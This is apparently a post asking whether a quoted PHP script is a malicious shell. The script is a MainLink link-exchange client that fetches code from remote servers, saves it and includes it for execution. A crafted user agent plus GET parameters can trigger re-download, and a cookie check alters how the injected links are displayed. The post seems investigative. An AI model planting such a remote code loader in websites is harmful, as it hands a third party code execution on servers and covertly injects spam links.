Проверяемся на шел что размещает ссылки с линкобирж

<style type="text/css">
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.ssil2 a:hover{color: #4B7C44 !important;text-decoration: none;}

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<?php

class MLClient
{
    var $file_code = 'ML_%code.php';

    var $transmiter = null;
    var $code_type = 'l';
    
    function MLClient($o = array()) {
    
    // code type
        if ( isset($o['CODE_TYPE']) && strlen($o['CODE_TYPE']) == 1 ) {
            $this->code_type = strtolower($o['CODE_TYPE']);
        } else {
            $this->code_type = 'l'; // links
        }
        
        $code_file = dirname(__FILE__) . '/' . str_replace('%', $this->code_type, $this->file_code);
        $username = $this->getUser($o);
        
        if ( @strpos($_SERVER['HTTP_USER_AGENT'], 'mlbot.' . $username) !== false && isset($_GET['ml_force_recovery'])) {
            @unlink($code_file);
            @unlink($code_file . '.lock');
            print '<!--<ml_force_recovery_result>true</ml_force_recovery_result>-->';
            return true;
        }
        
        if ( file_exists($code_file) )
        {
        // unlock if locked
            if ( file_exists($code_file . '.lock') ) {
                @unlink($code_file . '.lock');
            }
            
        // setup_code
            include_once $code_file;
        } else {
        // downloading latest version of code
            if ( $this->getCode($o, $this->code_type) ) {
                include_once $code_file;
            }
        }
        
        $transmiter_class = $this->code_type . 'Transmiter';
        if(class_exists($transmiter_class))
        {
            $o['USERNAME'] = $this->getUser($o);
            $this->transmiter = new $transmiter_class($o);
        }
    }
    
    
    function build_links()
    {
        if($this->transmiter != null){
            return $this->transmiter->build_links();
        }
        return '';
    }
    
    
    function getCode($o = array(), $code_type = 'l')
    {
        $username = $this->getUser($o);
        $code_file = dirname(__FILE__) . '/' . str_replace('%', $code_type, $this->file_code);
        if ( (!file_exists($code_file) && !file_exists($code_file . '.lock'))
        || ( strpos($userAgent, 'mlbot.' . $username) !== false && isset($_GET['ml_request']))) {
            
            if (  !is_writable(dirname(__FILE__) . '/') ) {
                print 'Unable to load Mainlink code. Directory ' . realpath(dirname(__FILE__).'/').' is not writeable!';
                return false;
            }

            if ( file_exists($code_file . '.lock') && file_exists($code_file) ) {
                $filetime = filectime($code_file . '.lock');
                
                if ( time() - $filetime < 10 ) {
                    print '<!--<ml_update>false: locked for ' . time() - $filetime . ' seconds</ml_update>-->';
                    return false;
                } else {
                    @unlink(realpath(dirname(__FILE__) . '/') . '/core_update.lock');
                    print '<!--<ml_update_info>true: now ' . time() . ', locked at ' . $filetime . ' seconds</ml_update_info>-->';
                    return false;
                }
            }
        }
        
        $fp = fopen($code_file . '.lock', 'w+');
        fwrite($fp, time());
        fclose($fp);
        
        $code_type = isset($o['CODE_TYPE']) ? $o['CODE_TYPE'] : 'l';
        $service_call = isset($_GET['ml_request']) ? $_GET['ml_request'] : 'call';
        $content = $this->getApi(array('getCode' => $code_type, 'USERNAME' => $username, 'codeBase' => 'php', $service_call => true));
        
    // unlocking update
        @unlink($code_file . '.lock');
        
    // report result


        $handle = fopen($code_file, 'w');
        $res = fwrite($handle, $content);
        fclose($handle);

        $result = $res !== false ? 'true' : 'false';
        
    // let`s try again if unsucced
        if ( !$result || $result == 'false' ) {
            $handle = fopen($code_file, 'wb');
            if ($handle) {
                @flock($handle, LOCK_EX);
                $result = fwrite($handle, $content);
                @flock($handle, LOCK_UN);
                fclose($handle);
            }
        }
        
        print '<!--<ml_code_setup_result>' . var_export($result, true) . '</ml_code_setup_result>-->';
        return $result;
    }
    
    
    /*
     * getUser
     * Determine username
     */
    
    function getUser($o = array())
    {
    // in case username cont is preset
        if ( isset($o['USERNAME']) && strlen($o['USERNAME']) == 32 ) {
            return $o['USERNAME'];
        }
        
    // search for key
        $dirop = opendir(realpath(dirname(__FILE__)));
        $secure = false;
            if($dirop){
                while (gettype($file=readdir($dirop)) != 'boolean'){
                    if ($file != "." && $file != ".." && $file != '.htaccess'){
                        $ex = explode(".",$file);
                        if( isset($ex[1]) and trim($ex[1]) == 'sec' ){
                            $secure= trim($ex[0]);
                            return $secure;
                        }
                    }
                }
            }
            
        return $secure;
    }
    
    
    /*
     * getApi
     * Call API
     */
    
    function getApi($data)
    {
    // reserver servers
        $servers = array(
            'main' => 'codes.mainlink.ru',
            'reserve' => 'dcodes.mainlinkads.com'
        );
        
        return $this->request($servers, '/api.php', $data, 'GET');
    }

    /*
     * request
     * Do request
     */
    
    function request($servers, $file, $data=array(), $method='GET', $timeout = 5)
    {
    // port
        $port = 80;
        foreach($servers as $host) {
            $_data = $data;


            $tmp = array();
            foreach($_data as $k=>$v){
                $tmp[] = $k.'='.urlencode($v);
            }
            $_data = implode('&', $tmp);

            $path = $file;
            if( $method == 'GET' && $_data != '' )
            {
                $path .= '?' . $_data;
            }
            
            $request = $method." ".$path." HTTP/1.0\r\n";
            $request .= "Host: ".$host."\r\n";
            $request .= "User-Agent: MainLink code 6.0\r\n";
            $request .= "Connection: close\r\n\r\n";

            @ini_set('allow_url_fopen', 1);
            @ini_set('default_socket_timeout', $timeout);
            @ini_set('user_agent', 'MainLink init code v6');

            $answer = '';
            $response = '';
            if(function_exists('socket_create'))
            {
                @$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => 0));
                @socket_connect($socket, $host, $port);
                @socket_write($socket, $request);

                while($a = @socket_read($socket, 0xFFFF))
                {
                    $response .= $a;
                }
                
                $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
                $response = '';
            }
            
            if(function_exists('fsockopen') && $answer == '')
            {
                $fp = @fsockopen($host, $port, $errno, $errstr, $timeout);
                if ($fp)
                {
                    @fputs($fp, $request);
                    while (!@feof($fp))
                    {
                        $response .= @fgets($fp, 0xFFFF);
                    }
                    @fclose($fp);
                }
                
                $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
                $response = '';
            }
            
            if(function_exists('curl_init') && $ch = @curl_init() && $answer == '')
            {
                @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
                @curl_setopt($ch, CURLOPT_HEADER, true);
                @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                @curl_setopt($ch, CURLOPT_USERAGENT, 'MainLink init code v6');

                $response = @curl_exec($ch);
                
                $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : '';
                $response = '';
                @curl_close($ch);
            }
            
            if( function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 && $answer == '')
            {
                $response = @file_get_contents('http://' . $host . $path);
                $answer[1] = ( $response != '' ) ? $response : '';
            }
            
            if($answer[1] != '' && preg_match('/file:\'(.*?)\'/', $answer[1], $r))
            {
                if(isset($r[1]))
                {
                    $answer = $r[1];
                    $c = base64_decode($answer);
                    if($c){
                        return $c;
                    }
                    return $answer;
                }
            }
            
            if($answer[1] != '')
            {
                return $answer[1];
            }
        }
        
        return '<!--ERROR: Unable to use transport.-->';
    }
}

$o['USERNAME'] = '4F26A53B7AF4B8F9E8B96410A6322137';

$client_lnk = new MLClient($o);


if (!isset($_COOKIE['__utmr_cache']))
{
echo'<div class="ssil">';
echo $client_lnk->build_links();
echo'</div>';
}
else
{
echo'<div class="ssil2">';
echo $client_lnk->build_links();
echo'</div>';
}
?>